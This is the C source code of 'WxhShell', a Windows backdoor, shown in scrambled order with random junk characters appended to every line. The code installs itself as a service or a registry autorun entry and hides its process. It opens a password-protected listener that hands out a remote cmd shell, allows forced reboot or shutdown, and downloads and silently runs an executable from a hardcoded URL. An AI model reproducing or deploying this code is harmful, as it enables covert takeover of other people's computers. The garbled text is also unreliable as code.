    if(Boot(SHUTDOWN)) nfPl#]ef*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {UVm0AeUq  
    else { JnKbd~  
    closesocket(wsh); ,h(+\^ ?,  
    ExitThread(0); Ydd>A\v\;  
    } i)^ZH#G p  
    break; | 3/p8  
    } Bv|9{:1%X}  
  // 获取shell !-}*jm p<  
  case 's': { N[D\@o  
    CmdShell(wsh); :{='TMJ7  
    closesocket(wsh); Q)i`.mHfFI  
    ExitThread(0); eX),B  
    break; b.u8w2(  
  } 2ZIY{lBe  
  // 退出 jm!C^5!  
  case 'x': { af5`ktx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _=M'KCL*)  
    CloseIt(wsh); 1H@rNam&  
    break; )jZ=/ xG  
    } lM]),}   
  // 离开 'C8=d(mR=m  
  case 'q': { #?d#s19s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0GR9C%"]  
    closesocket(wsh); <("w'd}  
    WSACleanup(); s 7cyo ]  
    exit(1); vpw&"?T  
    break; "+ JwS  
        } hb\Y)HSp/  
  } (dprY1noC  
  } ;77o%J'l  
.BB:7+  
  // 提示信息 WHk/mAI-s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D{d$L9.  
} COJ!b  
  } ')cgx9   
gBS#Z.  
  return; SX<mj  
} !rqR]nd  
l,2z5p  
// shell模块句柄 V.[#$ip6:  
int CmdShell(SOCKET sock) '{*>hj5.8  
{ P T.jR*  
STARTUPINFO si; s5 'nWMo  
ZeroMemory(&si,sizeof(si)); 5WN Z7cO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; SM^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1 3az [  
PROCESS_INFORMATION ProcessInfo; NKh {iSLm  
char cmdline[]="cmd"; ~"YNG?Rre  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bHT@]`@@  
  return 0; c\ *OId1{;  
} swgBPJ"?  
32FGDM  
// 自身启动模式 T@WMT,J6j  
int StartFromService(void) D}U<7=\3H  
{ YGmdiY:;1  
typedef struct Qg.:w  
{ +B|X k[  
  DWORD ExitStatus; beR)8sC3q  
  DWORD PebBaseAddress; =8 D4:Ds  
  DWORD AffinityMask; 9>>}-;$  
  DWORD BasePriority; y5D?Bg|M  
  ULONG UniqueProcessId; +E[)@;T  
  ULONG InheritedFromUniqueProcessId; w[G_w:$a  
}   PROCESS_BASIC_INFORMATION; Z69 IHA[  
bbkI}d%(Ng  
PROCNTQSIP NtQueryInformationProcess; >U/g*[>  
TAoR6aE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z$5C(!)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $NRb'   
F}DD;K  
  HANDLE             hProcess; 4N0nU  
  PROCESS_BASIC_INFORMATION pbi; <5}du9@  
u@'zvkb@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dkp[?f)x  
  if(NULL == hInst ) return 0; -{%''(G  
tP{$}cEY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 291|KG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jP'b! 4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nv{4 U}&P  
k|C8sSH  
  if (!NtQueryInformationProcess) return 0; 5z>\'a1U  
R u-rp^a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jdf@lb=5l  
  if(!hProcess) return 0; Z!eq/  
gI3rF=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OFbg]{ub?  
6|Q'\  
  CloseHandle(hProcess); ]<LU NxBR  
9D w&b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iCKwd9?)  
if(hProcess==NULL) return 0; >MrU^t  
Vatt9  
HMODULE hMod; BF!zfX?n  
char procName[255]; +N@F,3yNa  
unsigned long cbNeeded; I!O S&8:u  
~=ys~em e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !17Z\Ltqyj  
ybO,~TQ  
  CloseHandle(hProcess); }O  
l$9,  
if(strstr(procName,"services")) return 1; // 以服务启动 74(J7  
1iDo$]TEK  
  return 0; // 注册表启动 Af<>O$$6  
} W10fjMC}^  
@NE#P&f  
// 主模块 b\S}?{m5  
int StartWxhshell(LPSTR lpCmdLine) W2N7  
{ #B9[U} 8  
  SOCKET wsl; Th^#H  
BOOL val=TRUE; i8.[d5  
  int port=0; +cH(nZ*f  
  struct sockaddr_in door; sdD[`#  
= h( n+y<  
  if(wscfg.ws_autoins) Install(); Ti'kn{ Zv  
Y sV  
port=atoi(lpCmdLine); D.`\ ^a  
<DS6-y  
if(port<=0) port=wscfg.ws_port; N2e<Y_T  
%T\x~)  
  WSADATA data; n<*]`do,w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Ege^4PE  
J7vpCw2ni  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3fTI&2:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f tDV3If  
  door.sin_family = AF_INET; >t(@?*ZFT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %'z3es0  
  door.sin_port = htons(port); ): C4}&l  
3)SZVME1Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -+_&#twU  
closesocket(wsl); 3PffQ,c[~  
return 1; Z+(V \  
} ,+.# eg  
;i>E @  
  if(listen(wsl,2) == INVALID_SOCKET) { |lV9?#!  
closesocket(wsl); W|U1AXU7/  
return 1; edx'p`%d5  
} v1)6")8o+  
  Wxhshell(wsl); Bn q\Gg  
  WSACleanup(); yw!`1#3.  
qV,j)b3M  
return 0; w-Fk&dC69  
GR `ncI$z  
} 2z3A"HrlA  
f*Js= hvO  
// 以NT服务方式启动 _9r{W65s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'O9=*L) X  
{ @x +#ZD(  
DWORD   status = 0; / u6$M/Cf>  
  DWORD   specificError = 0xfffffff; <Q)}  
F-0PmO~3+W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; or`stBx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |'_<(z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [rU8 #4.  
  serviceStatus.dwWin32ExitCode     = 0; 89mre;v`  
  serviceStatus.dwServiceSpecificExitCode = 0; Uiw7Y\Im|  
  serviceStatus.dwCheckPoint       = 0; :X*LlN  
  serviceStatus.dwWaitHint       = 0; i{qURP}.  
!3# }ZC2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); puF Z~WZ  
  if (hServiceStatusHandle==0) return; ]{^vs'as\  
\l5:A]J  
status = GetLastError(); ] i2\2MTW8  
  if (status!=NO_ERROR) (=V[tI+Ngt  
{ A8GlE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3>v0W@C  
    serviceStatus.dwCheckPoint       = 0; *DzPkaYD>  
    serviceStatus.dwWaitHint       = 0; 0EXNq*=EE  
    serviceStatus.dwWin32ExitCode     = status; y/eX(l<{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Un{ln*AR\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;jI"|v{vnS  
    return; 'U$VO q?!  
  } W=]",<  
%Oqe7Cx>+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k|'Mh0G0  
  serviceStatus.dwCheckPoint       = 0; caD;V(  
  serviceStatus.dwWaitHint       = 0; va2A@U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uiA:(2AQ  
} 5T#D5Z<m  
RQNi&zX/  
// 处理NT服务事件,比如:启动、停止 4LJ}>e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X{9o8 *V  
{ /j@ `aG(a  
switch(fdwControl) !5t 3Y  
{ 4{t$M}?N  
case SERVICE_CONTROL_STOP: 2tm-:CPG  
  serviceStatus.dwWin32ExitCode = 0; tuV?:g?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #!# X3j  
  serviceStatus.dwCheckPoint   = 0; Gi4dgMVei  
  serviceStatus.dwWaitHint     = 0; Wb4{*~  
  { 5>Yd\(`K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gi@ji-10  
  } @ibPL+~-_  
  return; ?Zp!AV  
case SERVICE_CONTROL_PAUSE: 2!?z%s-S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X.9MOdG70  
  break; eH/\7)z  
case SERVICE_CONTROL_CONTINUE: AiHf?"EVT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?u!AHSr(  
  break; bKZ#>%|:o  
case SERVICE_CONTROL_INTERROGATE: OUO^/] J1S  
  break; G$uOk?R#5c  
}; }px]   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kg-X]yu*0  
} i9U_r._qj;  
G<6grd5PP  
// 标准应用程序主函数 Go7hDmu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5?0gC&WfN  
{ aZGDtzNG5h  
,GP4I3D  
// 获取操作系统版本 1?#9K j{ql  
OsIsNt=GetOsVer(); -8 =u{n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q'@Ei4  
eE`1;13;  
  // 从命令行安装 HTyF<K  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! H=k7s  
.|`=mx  
  // 下载执行文件 >=:T ZU  
if(wscfg.ws_downexe) { QF/u^|f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ey\{C`(__y  
  WinExec(wscfg.ws_filenam,SW_HIDE); UZXcKl>u  
} 8'WMspX  
f<altz_\q  
if(!OsIsNt) { rtmt 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 4{WV  
HideProc(); &dDI*v+  
StartWxhshell(lpCmdLine); %7d@+ .  
} Rue|<d1  
else C!k9JAa$Z  
  if(StartFromService()) =C>`}%XT}  
  // 以服务方式启动 zQ %z "tQ  
  StartServiceCtrlDispatcher(DispatchTable); 2*wO5v  
else  >fA@tUQB  
  // 普通方式启动 m?% H<4X  
  StartWxhshell(lpCmdLine); >VUQTg  
nk|N.%E  
return 0; &z X 3  
} giPo;z\c  
/uXRZ  
[^}>AC*im  
<*Kh=v  
=========================================== t^_{5  
Fxth> O`$  
j[J@tM#  
]{2{:`s  
Q] yT  
C6V&R1"s  
" 0"qim0%|DF  
/\a]S:V-j  
#include <stdio.h> )cqDvH  
#include <string.h> 2]aZe4H.  
#include <windows.h> x+y!P  
#include <winsock2.h> j YIV^o 0  
#include <winsvc.h> :e<`U~8m  
#include <urlmon.h> h?3,B0G  
Lr?4Y  
#pragma comment (lib, "Ws2_32.lib") t-7[Mk9@  
#pragma comment (lib, "urlmon.lib") eMl]td rI  
^c0$pqZ}r  
#define MAX_USER   100 // 最大客户端连接数 y.*=Ww+  
#define BUF_SOCK   200 // sock buffer kuj1 2  
#define KEY_BUFF   255 // 输入 buffer KjwY'aYwr:  
%][$y 7  
#define REBOOT     0   // 重启 [X">vaa  
#define SHUTDOWN   1   // 关机 DR yESi  
PVD ~W)0m*  
#define DEF_PORT   5000 // 监听端口 ?%xhe  
teOBsFy/I  
#define REG_LEN     16   // 注册表键长度 "H="Ip!s  
#define SVC_LEN     80   // NT服务名长度 x !:9c<  
!` M;#  
// 从dll定义API 3q|cZQK!1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NB W%.z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [cQ<dVaTX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B=gsd0^]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |j~EV~A J  
UrhM)h?%  
// wxhshell配置信息 Z'}(t,  
struct WSCFG { Vy% :\p+  
  int ws_port;         // 监听端口 wsJ%* eYf  
  char ws_passstr[REG_LEN]; // 口令 #mRFUA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,bVS.A'o  
  char ws_regname[REG_LEN]; // 注册表键名 j.;  
  char ws_svcname[REG_LEN]; // 服务名 fZ6 fV=HEF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .mT#%ex  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 txml*/zL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x>^3]m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &vFqe,Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kl aZZJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j FPU zB"  
4P4 Fo1  
}; Zc%foK{  
P!FEh'.  
// default Wxhshell configuration kBy rhK5U  
struct WSCFG wscfg={DEF_PORT, #6N+5Yx_[  
    "xuhuanlingzhe", hEv=T'*,K)  
    1, CP]S-o}yd  
    "Wxhshell", k'@7ZH  
    "Wxhshell", z;y^t4 ^9  
            "WxhShell Service", YXX36  
    "Wrsky Windows CmdShell Service", # cN_y  
    "Please Input Your Password: ", 97(Xu=tX  
  1, S$jV|xK B  
  "http://www.wrsky.com/wxhshell.exe", <}EV*`w4  
  "Wxhshell.exe" so!w!O@@  
    }; 1tc]rC4h  
h6\3vfj^f  
// 消息定义模块 JQ"`9RNb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xq,UV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BKC7kDK3H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "?.'{,Q  
char *msg_ws_ext="\n\rExit."; 4fw1_pv_D  
char *msg_ws_end="\n\rQuit."; @e! Zc3  
char *msg_ws_boot="\n\rReboot..."; xb9Pc.A[  
char *msg_ws_poff="\n\rShutdown..."; &o*s !u  
char *msg_ws_down="\n\rSave to "; &c!j`86y*  
@K$VV^wp  
char *msg_ws_err="\n\rErr!"; %@lV-(5q  
char *msg_ws_ok="\n\rOK!"; Lj&1K~U  
n5Nan  
char ExeFile[MAX_PATH]; :DdBn.  
int nUser = 0; ]6t]m2~\  
HANDLE handles[MAX_USER]; k_D4'(V:b  
int OsIsNt; 4<G?  
qIbg 4uE  
SERVICE_STATUS       serviceStatus; rU=b?D)n!w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (C`FicY  
O{k89{  
// 函数声明 [=F>#8=  
int Install(void); gppBFS  
int Uninstall(void); bp]^EVx  
int DownloadFile(char *sURL, SOCKET wsh); t&GA6ML#s  
int Boot(int flag); 9VoDhsKk  
void HideProc(void); YgE]d?_h  
int GetOsVer(void); 4M @ oj  
int Wxhshell(SOCKET wsl); NP K#].F  
void TalkWithClient(void *cs); V_&GYXx(J  
int CmdShell(SOCKET sock); Zm%VG(l  
int StartFromService(void); kmm  
int StartWxhshell(LPSTR lpCmdLine); _tWJXv~;  
I1Hw"G"&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FI]P<)*r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DtzA$|Q}  
:/C ?FHs9  
// 数据结构和表定义 ;^R A!Nj  
SERVICE_TABLE_ENTRY DispatchTable[] = .:}.b"%m  
{ R K"&l!o  
{wscfg.ws_svcname, NTServiceMain}, };&HhBc!g  
{NULL, NULL} kOs(?=  
}; '[Mlmgc5  
#yW.o'S+  
// 自我安装 YfE>Pn'r  
int Install(void) $[Tt#CJ w  
{ 9z5\*b s  
  char svExeFile[MAX_PATH]; v5(q) h  
  HKEY key; ic%?uWN  
  strcpy(svExeFile,ExeFile); @S`$C  
m7$8k@r  
// 如果是win9x系统,修改注册表设为自启动 &|v{#,ymeb  
if(!OsIsNt) { PX;Vo~6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3/X-Cr+d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `J72+RA  
  RegCloseKey(key); wgCvD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )O,wRd>5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CF]i}xpWV  
  RegCloseKey(key); =%!e(N'p  
  return 0; N>+P WE$  
    } S8 :"<B)  
  } &J8 Z@^  
} hf;S]8|F  
else { Q*]$)D3n  
6}ce1|mkg/  
// 如果是NT以上系统,安装为系统服务 }$o*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IUOxGJ|rO  
if (schSCManager!=0) B\\6#  
{ Lp_$?MCD.  
  SC_HANDLE schService = CreateService `/z_rqJ0CL  
  ( {jvOHu  
  schSCManager, EE+`i%  
  wscfg.ws_svcname, UQ/qBbn  
  wscfg.ws_svcdisp,  s[3e=N  
  SERVICE_ALL_ACCESS, $:Rn;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FY$fV"s  
  SERVICE_AUTO_START, gX[|;IZ0o  
  SERVICE_ERROR_NORMAL, )FRM_$t  
  svExeFile, )h#]iGVN}  
  NULL, h@=7R  
  NULL, Ck: 9gn  
  NULL, Rj^7#,993  
  NULL, t)` p@]j  
  NULL m9Ax\lf  
  ); OFA{ KZga  
  if (schService!=0) VZ$=6CavH  
  { ^$!987"  
  CloseServiceHandle(schService); W4(v6>5l  
  CloseServiceHandle(schSCManager); sONBQ9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o/C(4q6d  
  strcat(svExeFile,wscfg.ws_svcname); g& k58{e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $[g_=Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !=3Rg-'d1  
  RegCloseKey(key); oh6B3>>+  
  return 0; :- ?Ct  
    } Z,K7Ot0  
  } Mi ; glm  
  CloseServiceHandle(schSCManager); Z%m-HE:k  
} -D^L}b  
} EFAGP${F  
=+Im*mgNn  
return 1; EeB ]X24  
} 4e +~.5r@i  
'0:i<`qv#g  
// 自我卸载 77V .["=7  
int Uninstall(void) 9}5K6aQ  
{ Cs wE  
  HKEY key; #O~XVuvF0  
)t:7_M3  
if(!OsIsNt) { scW'AJJq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _d@=nK)  
  RegDeleteValue(key,wscfg.ws_regname); Bn?:w\%Ue  
  RegCloseKey(key); ZQ3_y $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %r;w;`/hA  
  RegDeleteValue(key,wscfg.ws_regname); ?vgH"W~3>  
  RegCloseKey(key); NBjeH tT  
  return 0; m#f{]+6U  
  } z% 1{  
} 9I`Y-D  
} C9qJP^F  
else { 3NIUW!gr  
+R6a}d/K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n-o3  
if (schSCManager!=0) y:d{jG^  
{ ;gMgj$mI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F[saP0 *  
  if (schService!=0) n,j$D62[  
  { /4$4h;_8  
  if(DeleteService(schService)!=0) { M\oTZ@  
  CloseServiceHandle(schService); Sw8kIC  
  CloseServiceHandle(schSCManager); WA$ JI@g  
  return 0; w\w(U  
  } aE|OTm+@9;  
  CloseServiceHandle(schService); N8v'70  
  } -kpswP  
  CloseServiceHandle(schSCManager); \'Z<P,8~  
}  )zq.4  
} y{d^?(-  
~>5#5!}@*  
return 1; at|g%$%  
} 6_gnEve h  
<?h%k"5  
// 从指定url下载文件 ; |L<:x/  
int DownloadFile(char *sURL, SOCKET wsh) ~ttY(w CV  
{ g> S*<  
  HRESULT hr; 4f^C\i+q  
char seps[]= "/"; rR,2UZR  
char *token; TeQNFo^_8  
char *file; 6Pn8f  
char myURL[MAX_PATH]; p'n4)I2#  
char myFILE[MAX_PATH]; 4v'A\~ZU  
la <npX  
strcpy(myURL,sURL); ceT&Y{T  
  token=strtok(myURL,seps); d2S~)/@S  
  while(token!=NULL) VR5fqf|*  
  { ]"~51HQZ  
    file=token; X"q!Y#)  
  token=strtok(NULL,seps); k~3.MU  
  } in-C/m#  
Q;u SWt<{  
GetCurrentDirectory(MAX_PATH,myFILE); ]3Dl)[R  
strcat(myFILE, "\\"); ,xI%A, (,;  
strcat(myFILE, file); 'b/ <x|  
  send(wsh,myFILE,strlen(myFILE),0); 7@}$|u:JUF  
send(wsh,"...",3,0); 8K9$,Ii  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gNpJ24QK  
  if(hr==S_OK) rw7_5l  
return 0; AeuX Qt  
else kJQ#Wz|z]  
return 1; x3p ND  
aqU' T  
} i/So6jW  
&o3K%M;C?  
// 系统电源模块 BxK^?b[E8  
int Boot(int flag) N#C1-*[C  
{ Q@@v1G\  
  HANDLE hToken; _7T@5\b:;  
  TOKEN_PRIVILEGES tkp; H ?M/mGP  
o*g|m.SjL  
  if(OsIsNt) { $2~\eG=u H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vhuw &.\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D]s]"QQ8  
    tkp.PrivilegeCount = 1; M$Zo.Bl$(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U`|0 jJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v%{.A)  
if(flag==REBOOT) { qT:zEt5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \C^;k%{LV  
  return 0; ra N)8w}-  
} qmy%J  
else { z*$q8Z&7rg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,m<H-gwa  
  return 0; dq1:s1  
} #-% A[7Cdp  
  } JPn$FQD  
  else { (b,[C\RBF  
if(flag==REBOOT) { W5L iXM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $_H`   
  return 0; 4 1a. #o  
} eM7Bc4V  
else { `#-P[q<v-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sbj(|1,ac  
  return 0; 2F#q I1  
} xVL5'y1g B  
} )vg5((C  
Mb1t:Xf^g  
return 1; YwY74w:  
} [+m?G4[  
l7{oi!   
// win9x进程隐藏模块 {gNV[45  
void HideProc(void) >gwz,{  
{ 5}$b0<em~  
;Vik5)D2D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VQ5nq'{v  
  if ( hKernel != NULL ) D?yG+%&9  
  { |t iUej  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &N~ZI*^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UO*Ymj 1  
    FreeLibrary(hKernel); [%Bf< J<  
  } bwM@/g%DL  
BBG3OAyg_  
return; Io4(f  
} @yXfBML?]  
ofYlR|  
// 获取操作系统版本 rNjn~c  
int GetOsVer(void) ZQ^r`W9_ +  
{ C98]9  
  OSVERSIONINFO winfo; ZOXIT(mg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /&F,V+x  
  GetVersionEx(&winfo); 6 5y+Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /xGmg`g<#  
  return 1; ~c)~015`  
  else ^<e@uNGg  
  return 0; mC?i}+4>4R  
} K{b(J Nd  
6hZ@;Q=b  
// 客户端句柄模块 G7--v,R1x  
int Wxhshell(SOCKET wsl) -/{ 4Jf Wf  
{ cLPkK3O\=  
  SOCKET wsh; K7Rpr.p  
  struct sockaddr_in client; >9RD_QG7  
  DWORD myID; {u1V|q  
aL J(?8M@  
  while(nUser<MAX_USER) )ZrS{vY  
{ O=SkAsim  
  int nSize=sizeof(client); ZxV"(\$n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .s+aZwTMT  
  if(wsh==INVALID_SOCKET) return 1; |#1(Z-}  
/ XnhmqWm%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jM-)BP6f4  
if(handles[nUser]==0) &E xYXI  
  closesocket(wsh); x+f2GA$  
else 5JEbe   
  nUser++; DvvT?K  
  } `n$5+a+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [,2|Flf e  
{hln?'  
  return 0; AU-n&uX  
} D]c`B  
/Q~gU<  
// 关闭 socket 3}|'0(hYL  
void CloseIt(SOCKET wsh) Og=*R6i  
{ z1^gDjkZ  
closesocket(wsh); vSi_t K4  
nUser--; WTImRXK4  
ExitThread(0); s w39\urf  
} >``MR%E:<  
~QvqG{bFB  
// 客户端请求句柄 "\0v,!@  
void TalkWithClient(void *cs) p-1 3H0Kt  
{ /mp*>sNr6  
8,0YD#x  
  SOCKET wsh=(SOCKET)cs; Y&/]O$<  
  char pwd[SVC_LEN]; DjSbyXvrg  
  char cmd[KEY_BUFF]; 'v]u#/7a  
char chr[1]; lA>DS#_  
int i,j; f!O{%ev  
J'N!Omz  
  while (nUser < MAX_USER) { sdQkT#%y  
]4;PR("aU  
if(wscfg.ws_passstr) { }$bF 5&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <dW]\h?)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %W@v2  
  //ZeroMemory(pwd,KEY_BUFF); wywQ<n  
      i=0; Vp>|hj po  
  while(i<SVC_LEN) { G7N| :YK  
JH:0 L  
  // 设置超时 [s&$l G!  
  fd_set FdRead; V+I|1{@i0  
  struct timeval TimeOut; t |~YEQ  
  FD_ZERO(&FdRead); o.q/O)'V u  
  FD_SET(wsh,&FdRead); Qt vYv!  
  TimeOut.tv_sec=8; [HCAmnb  
  TimeOut.tv_usec=0; detwa}h[0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f4L`.~b'hb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B<C*  
+-E~6^>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < yC  
  pwd=chr[0]; <{~6}6o  
  if(chr[0]==0xd || chr[0]==0xa) { ;j4?>3  
  pwd=0; i;!H!-sM  
  break; ID#I`}h.k  
  } 765p/**  
  i++; -?(E_^ng  
    } 1KjU ] r2  
)Tk1 QHU  
  // 如果是非法用户,关闭 socket 6;|n]m\Vd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]O]GeAGC2  
} Z!U)I-x&  
M`ip~7"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yv:55+e!|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y#XbJuN/  
~#kT _*sw)  
while(1) { _x!7}O#k  
 A^p[52`  
  ZeroMemory(cmd,KEY_BUFF); |g=="  
qL,tYJ<m%  
      // 自动支持客户端 telnet标准   wC5ee:u C%  
  j=0; 1UKg=A-q  
  while(j<KEY_BUFF) { F^hBtfz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W"Gkq!3u{  
  cmd[j]=chr[0]; w: >5=mfk  
  if(chr[0]==0xa || chr[0]==0xd) { Y-7^o@y  
  cmd[j]=0; q7"7U=W0  
  break; =2@B&  
  } ^a#X9  
  j++; Offu9`DiZ  
    } Me=CSQqf<  
 Br` IW  
  // 下载文件 WD1G&5XP  
  if(strstr(cmd,"http://")) { ,Jd ',>3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W^s ;Bi+Nw  
  if(DownloadFile(cmd,wsh)) )n,P"0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (&!NC[n,  
  else  4._( |  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J_FNAdQt  
  } %JLk$sP9y`  
  else { gCxAG  
KCWc`Oz  
    switch(cmd[0]) { 8O Soel  
  w+N> h;j  
  // 帮助 aXL{TD:]  
  case '?': { %*\es7m}  
